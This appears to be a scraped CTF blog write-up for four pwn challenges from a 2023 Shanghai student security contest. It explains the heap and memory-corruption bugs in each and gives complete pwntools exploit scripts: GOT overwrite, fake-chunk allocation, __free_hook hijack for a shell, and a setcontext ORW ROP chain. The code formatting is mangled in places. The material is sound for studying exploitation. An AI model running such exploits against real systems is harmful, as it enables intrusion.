2023-The 8th Shanghai College Students Network Security Competition and "Operation Rock" pwn wp

pwn wp

Change_addr

insert image description here
32-bit program, only NX protection is enabled.
insert image description here
Write 4 bytes at any address.
insert image description here
insert image description here
getflag registers a semaphore, and prints the flag when a segment fault is triggered.

It is conceivable that the got table for writing puts is a getflag backdoor function, and input[0] needs to be written as an illegal address.

#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './ChangeAddr'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
    p = process(fn)

else:
    p = remote('116.236.144.37', 23458)
    

def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass
    
lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')

puts_got = elf.got['puts']
getflag = 0x0804932c

p.recvuntil('Where would you like to write?')
p.sendline(hex(puts_got))

p.recvuntil('What value would you like to write')
p.sendline(hex(getflag))

p.recvuntil('lead to a special segment fault!')
p.send('a' * 0x100)

p.interactive()

KeyBox

insert image description here
Standard menu stack questions. Only NX protection is enabled, and there is a backdoor function. After testing, the remote libc version is 2.23.
Need to bypass a judgment
insert image description here
Enter here to-9223372036854775796 bypass the judgment. There is a heap overflow of arbitrary length in the Change function.0x800000000000003C
insert image description here

You can learn from the idea of ​​house of spirit and forge a chunk with a size of 0x7f. Allocate to the fake_chunk, control the heap block array, and you can get any address to write. Override malloc_got table for getflag.

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './KeyBox'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
    p = process(fn)
else:
    p = remote('116.236.144.37', 21396)

def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass

lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')

    
def menu(index):
    p.sendlineafter('Your choice:', str(index))


def add(size, content='l1s00t'):
    menu(2)
    p.sendlineafter('length of the item:', str(size))
    p.sendafter('the name of item:', content)


def show():
    menu(1)


def edit(index, size, content):
    menu(3)
    p.sendlineafter('the index of item:', str(index))
    p.sendlineafter('the length of item:', str(size))
    p.sendlineafter('new name of the item:', content)


def delete(index):
    menu(4)
    p.sendlineafter('the index of item:', str(index))


fake_chunk = 0x4040C0 - 0x8
backdoor = 0x401765
malloc_got = elf.got['malloc']

p.sendlineafter('first key: ', str(-9223372036854775796))
p.sendlineafter('second key: ', str(1))


add(0x7f)  # 0
add(0x60)  # 1
add(0x60)  # 2
add(0x60)  # 3

delete(2)
delete(1)

payload = b'a' * 0x80 + p64(0) + p64(0x71) + p64(fake_chunk)
edit(0, 0xa0, payload)

add(0x60)   # 1
add(0x60, p64(malloc_got))

edit(0, 0x20, p64(backdoor))

menu(2)
p.sendlineafter('length of the item:', '32')

p.interactive()

ssql

insert image description here
The topic implements a simple sql function function, and realizes the basic addition, deletion, modification and query functions. Three basic structures are maintained.
The structure is as follows,

struct mysql
{
    
    
  char *v1;
  char *v2;
  table *table;
  char *v4;
  char *v5;
};

struct table
{
    
    
  char table_name[16];
  table *next;
  table *prev;
  column *column;
};

struct column
{
    
    
  char column_name[16];
  column *next;
  column *prev;
  char *content;
};

insert image description here
When the delete function deletes the data table, ptr is not cleared, which can leak the libc address.
insert image description here
The edit function can overflow a byte, and there is an off-by-null vulnerability. Just enough to cover the last byte of the next pointer.

The basic idea is to combine delete and show to leak the libc address. Forge a column, and use the overflowed bytes to make column->next point to the forged column item, and you can get any address to write. Overwrite free_hookto system to get the shell.

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
    p = process(fn)
else:
    p = remote('116.236.144.37', 24166)


def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass

lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')

def menu(content):
    p.sendafter('mysql > ', content)


def create_table(table_name):
    menu('CREATE TABLE ' + table_name)


def create_column(table_name, column_name):
    menu('CREATE ' + column_name + ' FROM ' + table_name)


def delete_table(table_name):
    menu('DELETE TABLE ' + table_name)


def delete_column(table_name, column_name):
    menu('DELETE ' + column_name + ' FROM ' + table_name)


def show_table(table_name):
    menu('SHOW TABLE ' + table_name)


def edit_column(table_name, column_name, name, content):
    menu('EDIT ' + column_name + ' FROM ' + table_name)
    p.sendafter('Column name:', name)
    p.sendafter('Column Content: ', content)


create_table('t0')
create_table('t1')
create_table('t2')
create_table('t3')


for i in range(10):
    create_column('t0', f'c{
      
      i}')

delete_table('t0')
create_table('t0')

for i in range(7):
    create_column('t0', f'c{
      
      6 - i}')

create_column('t1', 'c0')
show_table('t1')

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x1ece50
lg('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

create_column('t1', 'c2')
create_column('t1', 'c3')

for i in range(4):
    create_column('t2', f'c{
      
      i}')

payload = b'a' * 0xc0 + b'flag'.ljust(0x10, b'\x00') + p64(free_hook - 8) * 3
edit_column('t2', 'c0', 'a' * 0x10, payload)

edit_column('t2', 'flag', 'flag', b'/bin/sh\x00' + p64(system))

delete_column('t2', 'flag')


p.interactive()

insert image description here

hp

This problem was not solved during the competition, but it came out after the competition.
insert image description here
insert image description here

The protection is fully turned on and the sandbox is turned on. Disabled execve and open.
To be honest, this question is quite difficult for me.
The key structure is in sub_214Ethe function, and the input format can be obtained by reversing the function.

Then in each operation function, that is, add, delete, modify, and search functions, first search for the corresponding item in the input header, and if it matches, proceed to the next step.

It is necessary to bypass the judgment of the login function first.
insert image description here
It is impossible to bypass the judgment of the password here. It is impossible for a string to be equal to or not equal to another string. But we noticed that Username does not check the length, so that we can overflow to dword_5280, thereby bypassing the judgment.

The vulnerability point is that the edit function has an off-by-null vulnerability.
insert image description here
From here, it's easier. It should be noted that the length is strlenobtained through a function, and \x00judgment needs to be bypassed. We can adopt the method of input from the back to the front, and at the same time use the overflowed null bytes to repair the high bits of the fields that need to be overwritten.
The general idea is to cover, free_hookcall setcontext + 53, readand read the content to __free_hook + 0x10the location, and then migrate the stack to this location to implement ORW.

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
    p = process(fn)
else:
    p = remote()


def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass


lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')


def menu(content):
    p.sendafter('parser> ', content)


def login(username, password):
    header = f'''POST /login HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 0
Username: {
      
      username}
Password: {
      
      password}
\n
'''
    menu(header)


def create(length):
    header = f'''POST /create HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: {
      
      length}\n\n
'''
    payload = header + 'a' * length

    menu(payload)


def show(index):
    header = f'''POST /show HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {
      
      index}
Content-Length: 0\n\n
'''
    payload = header

    menu(payload)


def edit(idx, content, length=0):
    header = b'''POST /edit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
'''

    payload = header
    payload += b'Idx: ' + str(idx).encode() + b'\n'
    if not length:
        payload += b'Content-Length: ' + str(len(content)).encode() + b'\n\n\n'
    else:
        payload += b'Content-Length: ' + str(length).encode() + b'\n\n\n'

    payload += content

    menu(payload)


def delete(index):
    header = f'''POST /delete HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {
      
      index}
Content-Length: 0\n\n
'''
    payload = header

    menu(payload)


login('a' * 0x20 + '\x01', 'Password')


for i in range(7):
    create(0xf0)

create(0xf8)    # 7
create(0xf8)    # 8
create(0xb0)    # 9
create(0xb0)    # 10
create(0xb0)    # 11
create(0x18)    # 12
create(0x4f8)   # 13
create(0xb0)    # 14

for i in range(7):
    delete(i)

delete(8)

edit(12, b'a' * 0x18)
edit(12, b'a' * 0x17)
edit(12, b'a' * 0x16)
edit(12, b'a' * 0x15)
edit(12, b'a' * 0x14)
edit(12, b'a' * 0x13)
edit(12, b'a' * 0x12)

edit(12, b'a' * 0x10 + p64(0x460), 0x12)

delete(14)

delete(7)
delete(13)
create(0x1f0)   # 0

show(9)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(0x8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x3ebca0
lg('libc_base', libc_base)

__free_hook = libc_base + libc.sym['__free_hook']
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext']
system = libc_base + libc.sym['system']

pop_rax_ret = libc_base + 0x000000000001b500
pop_rdi_ret= libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
syscall_ret = libc_base + 0x00000000000d2625

delete(10)

create(0xe0)    # 1

payload = b'a' * 0xc0 + p64(__free_hook)
edit(1, payload, 0xc6)

edit(1, b'a' * 0xbf)
edit(1, b'a' * 0xbe)
edit(1, b'a' * 0xbd)
edit(1, b'a' * 0xbc)
edit(1, b'a' * 0xbb)
edit(1, b'a' * 0xba)
edit(1, b'a' * 0xb9)
edit(1, b'a' * 0xb8 + p64(0xc1), 0xb8 + 1)

create(0xb8)    # 2
create(0xb0)    # 3

edit(3, p64(setcontext + 53), 6)


payload = b'a' * 0xb0 + p64(__free_hook + 0x10)
edit(2, payload, 0xb0 + 6)

edit(2, b'a' * 0xaf)
edit(2, b'a' * 0xae)
edit(2, b'a' * 0xa8 + p64(syscall_ret), 0xa8 + 6)   # rcx

edit(2, b'a' * 0xa7)
edit(2, b'a' * 0xa6)
edit(2, b'a' * 0xa0 + p64(__free_hook + 0x10 + 0x10), 0xa0 + 6)  # rsp

edit(2, b'a' * 0x8f)
edit(2, b'a' * 0x8e)
edit(2, b'a' * 0x8d)
edit(2, b'a' * 0x8c)
edit(2, b'a' * 0x8b)
edit(2, b'a' * 0x88 + p64(0x120), 0x88 + 2)     # rdx

edit(2, b'a' * 0x77)
edit(2, b'a' * 0x76)
edit(2, b'a' * 0x70 + p64(__free_hook + 0x10), 0x70 + 6)    # rsi

edit(2, b'a' * 0x6f)
edit(2, b'a' * 0x6e)
edit(2, b'a' * 0x6d)
edit(2, b'a' * 0x6c)
edit(2, b'a' * 0x6b)
edit(2, b'a' * 0x6a)
edit(2, b'a' * 0x69)
edit(2, b'a' * 0x68)

delete(2)

# pause()
sleep(2)

flag_addr = __free_hook + 0x10
data = __free_hook + 0x100
rop_data = [
    pop_rax_ret,  # sys_open('flag', 0)
    257,
    pop_rdi_ret,
    0,
    pop_rsi_ret,
    flag_addr,
    pop_rdx_ret,
    0,
    syscall_ret,

    pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_ret,
    3,
    pop_rsi_ret,
    data,
    pop_rdx_ret,
    0x40,
    syscall_ret,

    pop_rax_ret,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_ret,
    1,
    pop_rsi_ret,
    data,
    pop_rdx_ret,
    0x40,
    syscall_ret
]
payload = b'/flag'.ljust(0x10, b'\x00') + flat(rop_data)
p.send(payload)

p.interactive()

insert image description here
Note that the default flag is in the root directory here.

Guess you like

Origin blog.csdn.net/weixin_51480590/article/details/130802797